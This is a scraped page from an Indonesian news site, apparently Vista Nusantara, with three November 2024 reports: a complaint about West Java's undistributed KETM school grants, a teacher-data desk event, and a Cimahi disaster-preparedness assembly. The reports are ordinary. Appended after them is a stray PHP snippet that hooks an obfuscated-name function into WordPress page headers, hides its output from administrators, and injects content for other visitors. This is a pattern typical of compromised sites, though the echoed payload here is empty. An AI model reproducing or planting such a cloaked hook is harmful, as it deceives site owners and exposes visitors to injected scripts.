    Menurut Ketua Umum FKSS Jawa Barat Ade Hendriana, S.H., Selasa (12/11/2024), seharusnya kejadian seperti sudah tidak terjadi lagi karena perihal seperti ini sudah pernah terjadi pada BPMU Tahun 2018 dan RMP Kota Bandung Tahun 2020, tidak salur pada tahun anggaran tersebut dan salur di tahun anggaran berikutnya. 

    Pemerintah provinsi Jawa Barat dan Dinas Pendidikan Jawa Barat tidak belajar dari permasalahan sebelumnya. Temuan Inspektorat tersebut pada tanggal 13 Desember 2023, dari Desember 2023 sampai sekarang November 2024 seolah-olah ada pembiaran terhadap KETM 2024, yang dampaknya sekarang terancam tidak tersalurkan di tahun 2024, sedangkan beberapa satuan pendidikan sudah menggratiskan peserta didik KETM tersebut, ujar Ade Hendriana.

    Kalau pengajuan hibah KETM harus H-1 itu sangat tidak mungkin karena penetapan peserta didik KETM itu berdasarkan tarik data dari web PPDB.


    Dinas Pendidikan provinsi Jawa Barat akan menghadap ke Kemendagri didampingi oleh FKSS Jawa Barat dan FKKSMKS Jawa Barat untuk mencari solusi dari permasalahan tersebut. Mudah-mudahan ada diskresi sehingga KETM bisa disalurkan di tahun 2024 jika tidak dipastikan KETM 2024 disalurkan di APBD Murni Tahun 2025 dan sebelum tahun ajaran baru sudah tersalurkan, dan mudah-mudahan tidak hangus karena kita tahu pilkada bulan November ini akan dilaksanakan. Siapapun Gubernur yang terpilih bisa menyalurkan KETM tersebut, kita tahu KETM ini produk politik, tegas Ade Hendriana.

    Harapannya FKSS Jawa Barat meminta HIBAH KETM ini bisa mempunyai regulasi yang jelas seperti BPMU dan RMP Kota Bandung, yaitu Hibah Program yang wajib disalurkan. Kedua hal itupun bisa terwujud hasil unjuk rasa FKSS JABAR, masa sekarang harus unjuk rasa lagi!! Atau kalau tidak bisa hibah program boleh dicoba KETM menjadi Beasiswa.

    Yang paling utama FKSS Jawa Barat berharap siapapun nanti Gubernur terpilih ketika ada kebijakan program bantuan untuk satuan pendidikan harus dikaji dulu dan dibuatkan regulasinya jangan sampai hal seperti ini terulang kembali, pungkas Ade Hendriana.***

  • Ratusan Sekolah di Jawa Barat Hadiri Desk Data GTK Tahun Ajaran 2024/2025

    BANDUNG, VISTA NUSANTARA — Plh. Kepala Dinas Pendidikan (Kadisdik) Jawa Barat (Jabar), Bambang Tirtoyuliono membuka kegiatan “Desk Data Guru dan Tenaga Kependidikan SMA, SMK, dan SLB Tahun Ajaran 2024/2025” di Grand Hotel Preanger Kota Bandung, Selasa (12/11/2024).


    Kegiatan tersebut dihadiri ratusan peserta yang terdiri dari kepala sekolah, wakil kepala sekolah bidang kurikulum, dan operator sekolah.

    Plh. Kadisdik mengatakan, mewujudkan kualitas dan mutu pendidikan harus dimulai dengan data yang valid dan benar. “Ke depan, data harus terus dikurasi, manakala ada perubahan, langsung saling informasikan sehingga database di sekolah, kantor cabang dinas pendidikan, dan di Kantor Radjiman selaras,” ungkapnya.


    Melalui desk ini, Plh. Kadisdik berharap pendataan guru dan tenaga kependidikan (GTK) berjalan optimal.

    Sedangkan Kepala Bidang GTK Disdik Jabar, Diah Restu Susanti menjelaskan, kegiatan ini mengundang 859 sekolah negeri dan berlangsung selama tujuh hari. “Melalui kegiatan ini diharapkan data guru lebih akurat dan menunjang manajemen pendidikan yang efektif dan efisien,” tuturnya.


    Kegiatan ini, sambungnya, juga melibatkan bidang keuangan, kepegawaian, dan perencanaan sebagai panitia pelaksana agar pengelolaan data lebih akurat.***

  • BPBD Kota Cimahi Gelar Apel Siaga Hadapi Cuaca Ekstrem dan Potensi Bencana Alam

    CIMAHI, VISTA NUSANTARA — Pemerintah Kota Cimahi melalui Badan Penanggulangan Bencana Daerah (BPBD) gelar apel kesiapsiagaan menghadapi bencana banjir, banjir bandang, tanah longsor, angin kencang dan cuaca di ekstrim di daerah Kota Cimahi tahun 2024-2025 di Halaman Mall Pelayanan Publik jl Aruman Kota Cimahi, Selasa (12/11/2024).


    Kegiatan kesiapsiagaan bencana Kota Cimahi dihadiri oleh Pj. Wali Kota Cimahi Dr. Ir. H. Dicky Saromi, M.Sc., serta Forkompinda Kota Cimahi dari unsur TNI, Polri, PMI kota Cimahi, Damkar, Orari, Dinsos, Dishub, Satpol PP, Kelurahan, Forum PRB, TP PKK, Karang Taruna, Tagana, Dispangtan, Diskominfo, DLH, Disdik, PGRI dan tamu undangan lainnya.

    Dalam amanatnya Pj Walikota Cimahi Dr. Ir. H. Dicky Saromi, M.Sc., menyampaikan selaku Pj mengucapkan terima kasih atas terselenggaranya kegiatan kesiapsiagaan menghadapi bencana di kota Cimahi, guna menunjukan kesiapsiagaan dalam usaha mengurangi resiko dari bencana yang terjadi. 


    Bencana sesuatu yang tidak bisa diprediksi, saat ini kita masuk siaga darurat bencana dengan masuknya di musim hujan. Guna kenyamanan masyarakat kota Cimahi kita siapkan seluruh kapasitas dan potensi yang ada. Semua peralatan dan logistik serta SDM harus siap kapanpun dan dimanapun saat terjadi bencana yang membutuhkan kehadiran kita. Angin kencang hari Sabtu (09/11/2024), terlihat semua mampu bekerjasama dan mengurangi resiko dari bencana yang ada, tutur Dicky.

    Dicky mengaskan semua unsur yang ada dalam kesiapsiagaan bencana untuk lebih siap saat dibutuhkan, sekaligus hari ini bersamaan dengan

    Pencanangan Bulan Dana PMI. PMI lembaga yang tidak mencari profit tetapi sebagai lembaga kemanusiaan. Kepercayaan publik menjadi dasar gerak PMI. Pencanangan Bulan Dana PMI menjadi sarana guna mengukur kepercayaan masyarakat pada PMI. Dan dengan gerakan ini semoga bisa memupuk kebersamaan serta semua puhak bisa terketuk hatinya guna mendukung gerak operasional PMI agar lebih berdaya guna bagi masyarakat secara keseluruhan. Dengan keadaan saat ini ada 4 hal yang harus menjadi skala prioritas dan harus dilaksanakan:

    – Komitmen dan sinergi serta kolaborasi untuk mengantisipasi serta mitigasi bencana 

    – Ketahui dan kesadaran pentingnya kesiapan baik logistik maupun peralatan saat adanya bencana 

    – Skala prioritas pada kapasitas dan kemampuan, belajar adalah mengikat kita sepanjang hayat

    – Tingkatkan kewaspadaan dengan selalu berkomunikasi antar lembaga yang ada

    – Selalu berdoa untuk diberikan kemudahan dan kelancaran 
    Acara apel gelar pasukan siaga bencana Kota Cimahi dengan Inspektur Upacara Kasi Darlog BPBD Kota Cimahi Rohmat, diisi pula dengan 
    penyerahan Surat Keputusan (SK) kesiagaan Kota Cimahi menghadapi bencana dan Pencanangan Bulan Dana PMI secara langsung oleh Pj. Wali Kota Cimahi Dr. Ir. H. Dicky Saromi, M.Sc.***
?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);